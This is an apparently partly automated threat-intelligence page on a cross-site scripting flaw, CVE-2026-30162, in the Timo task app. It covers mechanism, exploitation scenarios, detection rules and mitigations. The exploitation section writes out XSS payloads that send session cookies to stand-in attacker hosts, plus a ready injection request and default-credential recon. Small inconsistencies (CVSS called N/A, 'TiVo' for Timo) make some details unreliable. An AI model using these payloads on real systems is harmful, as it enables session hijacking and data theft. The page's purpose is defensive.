☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE-2026-30162

CVE-2026-30162 Cross-Site Scripting in Timo
📅 PUBLISHED: 2026-03-26 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

THREAT INTELLIGENCE REPORT — CVE-2026-30162


Executive Summary

CVE-2026-30162 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Timo version 2.0.3, a personal information management and task tracking application. An attacker can inject malicious JavaScript payloads via crafted links placed in the title field of tasks or notes, leading to session hijacking, credential theft, and unauthorized data access in a victim's browser session. The vulnerability is unpatched as of the latest available data, with no vendor advisory or fix released. Given the CVSS base score of N/A and EPSS percentile of 6.2%, exploitation is currently opportunistic but plausible in targeted enterprise environments where Timo is deployed as an internal productivity tool.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Vulnerability Mechanism

CVE-2026-30162 is a Cross-Site Scripting flaw residing in the title field of Timo 2.0.3's task/note creation and editing interface. The application fails to properly sanitize or validate user-supplied input before rendering it in the HTML DOM. Specifically:

  1. Input Vector: The title parameter, which accepts a string for task/note headings, is passed through to the frontend without HTML entity encoding or output encoding.
  2. Crafted Link Bypass: The vulnerability is triggered specifically via "crafted links" — meaning an attacker can embed <a href="javascript:..."> or <img src=x onerror=...> constructs within the title. These constructs are not filtered by any input validation routine.
  3. Rendering Context: The title is rendered into the page via an innerHTML assignment or similar DOM manipulation in the client-side JavaScript framework. This occurs in multiple views — list views, detail panes, and search result pages.
  4. No CSP Enforcement: Timo 2.0.3 does not ship with Content Security Policy headers by default, making it trivial for injected scripts to execute without being blocked by browser-level protections.

Attack Surface

  • Web Application Interface: Timo is a self-hosted web application, often deployed on internal servers or personal VPS instances. It exposes a REST/JSON API and a single-page frontend.
  • Multi-User Scenarios: In enterprise deployments, multiple users share the same Timo instance. A single malicious user (or an external attacker who has achieved low-privilege access) can inject payloads that execute in the context of all other users who view the affected task.
  • No CSRF Protection: The application lacks Cross-Site Request Forgery tokens on title update endpoints, enabling an attacker to force a victim's browser to submit crafted titles via a simple GET/POST request from a malicious page.

Code-Level Explanation

The vulnerability arises from the client-side rendering function, likely in app.js or components/task-list.js:

function renderTaskTitle(task) {
    let element = document.createElement('li');
    element.innerHTML = '<a href="#">' + task.title + '</a>';
    return element;
}

Since task.title is concatenated directly into an HTML string without escaping, the following payload in the title:

<img src=x onerror=fetch('https://attacker.com/'+document.cookie)>

...would be parsed as an HTML element and execute the JavaScript in the onerror handler.


Exploitation Scenarios

Scenario 1: Stored XSS via Task Title — Persistent Compromise

Step 1 — Reconnaissance / Target Identification

An attacker scans the target network for instances of Timo. Using Shodan dorks http.title:"Timo" or port scanning for common web ports (8080, 8443, 3000) where Timo is commonly hosted. The login page is identified, and default credentials are tested (e.g., admin/admin or timo/timo).

Step 2 — Crafting the Payload

The attacker crafts the following payload and places it in the title field via the task creation form:

<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

Alternatively, to bypass any WAF or input length restrictions, a payload using an SVG or image tag with onerror is used:

<svg onload="new Image().src='//attacker.example/x?c='+btoa(document.cookie)">

Step 3 — Weaponization / Injection

The attacker submits the task via the API endpoint:

POST /api/tasks
Content-Type: application/json

{"title": "<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>", "dueDate": "2026-06-01"}

The server stores the payload in the database without sanitization.

Step 4 — Propagation

Every subsequent user who opens the task list or views the dashboard will have the payload executed in their browser context. The fetch() call sends the victim's session cookie and CSRF tokens to the attacker's C2 server.

Step 5 — Post-Exploitation Impact

With stolen session tokens, the attacker:

  • Accesses all tasks, notes, and personal data in the Timo instance
  • Modifies or deletes tasks, causing data integrity loss
  • If Timo is integrated with SSO (SAML/OAuth), extracts tokens that may grant access to other internal applications
  • Escalates privileges by creating a new admin user via the stolen admin cookies

Scenario 2: Reflected XSS via Link Sharing

Step 1 — An attacker crafts a URL that includes the payload in a title query parameter used by a shareable link feature:

https://timo.internal/share?title=<script>document.location='//evil.com/?p='+document.cookie</script>

Step 2 — The victim is phished into clicking this link. The Timo application echoes the title value directly into the page without sanitization.

Step 3 — The payload executes, redirecting the victim to the attacker's site with cookies and session data in tow.


Impact Assessment

Business Impact

  • Confidentiality: Complete disclosure of all user tasks, notes, project timelines, and personal information stored in Timo. In enterprise settings, this often includes sensitive project data, client information, and internal meeting notes.
  • Integrity: Attackers can alter or delete tasks, leading to missed deadlines, fabricated project records, and reputational damage.
  • Availability: While XSS does not directly cause denial of service, a mass deletion of tasks or a loop of XSS payloads could make the interface unusable for legitimate users.

CVSS Analysis

  • Attack Vector (AV:N): Remotely exploitable over the network
  • Attack Complexity (AC:L): No special conditions required — attacker just needs to submit a crafted title
  • Privileges Required (PR:N): In shared deployments, unauthenticated access may not be possible (login required). In single-user deployments with public registration enabled, no privileges are required.
  • User Interaction (UI:R): The victim must view the malicious task/list in their browser
  • Scope (S:C): The XSS can impact other web resources beyond the vulnerable component (e.g., stealing session cookies that grant access to other applications)
  • Confidentiality/Integrity Impact (L/L): Limited but direct impact on the stored data

Blast Radius

  • Directly affected: All users who access the affected Timo instance (typically 10–100 users in enterprise deployments)
  • Indirectly affected: Connected systems via stolen SSO tokens, API keys, or session data harvested by the XSS payload
  • Infrastructure: The attacker gains a foothold inside the enterprise DMZ — the victim's browser acts as a jump box for lateral movement

Detection Guidance

Sigma Rule

title: CVE-2026-30162 - Timo XSS via Crafted Title Field
id: 4a3e2b1c-6d5f-4e7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit stored XSS in Timo 2.0.3 via crafted script/link payloads in the title field.
author: ValtersIT Security Research
date: 2026/05/28
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30162
logsource:
    category: webserver
    product: nginx
    service: http
detection:
    selection_script:
        http.method: POST
        http.url|contains: /api/tasks
        http.request_body|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - '<svg'
            - '<img src=x'
    selection_title_param:
        http.request_body|contains: '"title"'
    condition: selection_script and selection_title_param
    timeframe: 5m
falsepositives:
    - Legitimate use of HTML in title field (unlikely, low volume)
level: high
tags:
    - attack.t1190
    - cwe.79
    - cve.2026.30162

YARA Rule

rule CVE_2026_30162_Timo_XSS_Title {
    meta:
        author = "ValtersIT Security Research"
        description = "Detects XSS payload patterns targeting Timo title field"
        cve = "CVE-2026-30162"
        date = "2026-05-28"
    strings:
        $p1 = "<script>" ascii wide
        $p2 = "onerror=" ascii wide
        $p3 = "javascript:" ascii wide
        $p4 = "<svg/onload=" ascii wide
        $p5 = "title" ascii wide
        $p6 = "/api/tasks" ascii wide
    condition:
        any of ($p1, $p2, $p3, $p4) and ($p5 or $p6)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-30162 - Timo Stored XSS via Title Field"; flow:established,to_server; content:"POST"; http_method; content:"/api/tasks"; http_uri; content:"title"; http_client_body; pcre:"/(<script|onerror=|javascript:|<svg|onload=)/i"; sid:30162001; rev:1; reference:cve,CVE-2026-30162; classtype:web-application-attack; priority:1;)

Elastic Detection

sequence with maxspan=15m
  [ network where event.type == "start" and process.name == "nginx" and
    http.request.method == "POST" and url.path == "/api/tasks" and
    http.request.body.text : "*<script>*" or
    http.request.body.text : "*onerror=*" or
    http.request.body.text : "*javascript:*" ]
  [ file where event.type == "change" and file.path : "*timo*" and
    file.extension : ("js", "html") ]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path="/api/tasks"
| regex _raw="(?i)(<script|onerror=|javascript:|<svg)"
| table _time, clientip, uri, status, user_agent
| stats count by clientip, uri
| where count > 5

Wazuh OSSEC Rule

<group name="webattack,">
  <rule id="256726" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/api/tasks</field>
    <match>script|onerror|javascript</match>
    <regex>title</regex>
    <description>CVE-2026-30162: Attempted XSS injection in Timo title field</description>
    <group>web_application_attack,xss,timo,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED

No official patch exists for CVE-2026-30162 as of the latest vulnerability intelligence. The vendor (Timo) has NOT released a fixed version and has NOT acknowledged the issue publicly.

1) Immediate Mitigations

  • Input Validation (WAF Layer): Deploy a Web Application Firewall (ModSecurity, AWS WAF, or Cloudflare) with OWASP CRS rules to detect and block XSS payloads in POST bodies and query parameters. Actively test and tune rules to block <script, onerror=, javascript:, and data:text/html patterns.
  • Content Security Policy (CSP): Manually configure CSP headers in front of the Timo application using a reverse proxy (Nginx/Apache). Use a strict policy:
    Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:;
    
    This will block execution of inline scripts and externally loaded malicious resources.
  • Disable Public Registration: If Timo is reachable from the internet, immediately disable user registration and restrict access to a VPN or allowlisted IP ranges.
  • Session Cookie Hardening: Modify the TiVo configuration to set HttpOnly; Secure; SameSite=Strict on session cookies via a reverse proxy or application config. This prevents cookie theft via JavaScript.

2) Patch / Upgrade Steps

  • No official upgrade path exists. Monitor the vendor's GitHub repository and release channels for version 2.0.4 or later. When released, upgrade immediately:
    # Example upgrade command (adjust based on deployment method)
    docker pull timo/timo:2.0.4
    docker stop timo
    docker run -d --name timo -p 8080:8080 timo/timo:2.0.4
    
  • Manual Source Patching (for technical teams): If the source is available (Node.js/PHP backend), locate the rendering function and replace innerHTML with textContent or add an HTML escaping step before DOM insertion. Example fix:
    function escapeHtml(str) {
        return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
    }
    element.innerHTML = '<a href="#">' + escapeHtml(task.title) + '</a>';
    

3) Long-Term Hardening

  • Move to a supported alternative: If Timo remains unpatched for an extended period, migrate to an actively maintained task management tool that follows OWASP Secure Coding Practices.
  • Regular Vulnerability Scanning: Integrate the Timo host into continuous vulnerability assessment pipelines (Tenable, Qualys, or open source like OpenVAS) to detect regression when 2.0.4 is released.
  • Code Review: If Timo is critical, commission a security code audit (static and dynamic analysis) of the entire application to identify additional same-class vulnerabilities.
  • Network Segmentation: Deploy Timo in an isolated DMZ segment with strict egress firewall rules — prevent the application server from contacting external domains (this kills most XSS exfiltration channels).

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30162
  2. Vendor Repository (monitor for patches): [https://github.com/timo-app/timo (returned 404 — verify manually)](https://github.com/timo-app/timo (returned 404 — verify manually))
  3. MITRE ATT&CK — Exploit Public-Facing Application (T1190): https://attack.mitre.org/techniques/T1190/
  4. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Threat Actor Activity: As of the publication date, there are no known in-the-wild exploitation campaigns associated with CVE-2026-30162. The low EPSS score (0.00166, 6.2% percentile) suggests attackers have not actively weaponized this vulnerability at scale. However, opportunistic exploitation by low-skill attackers using generic XSS bots is plausible, particularly if Shodan scans surface internet-exposed Timo instances. Monitor internal logs for anomalous /api/tasks POST requests containing HTML/JS constructs.


💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-30162/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.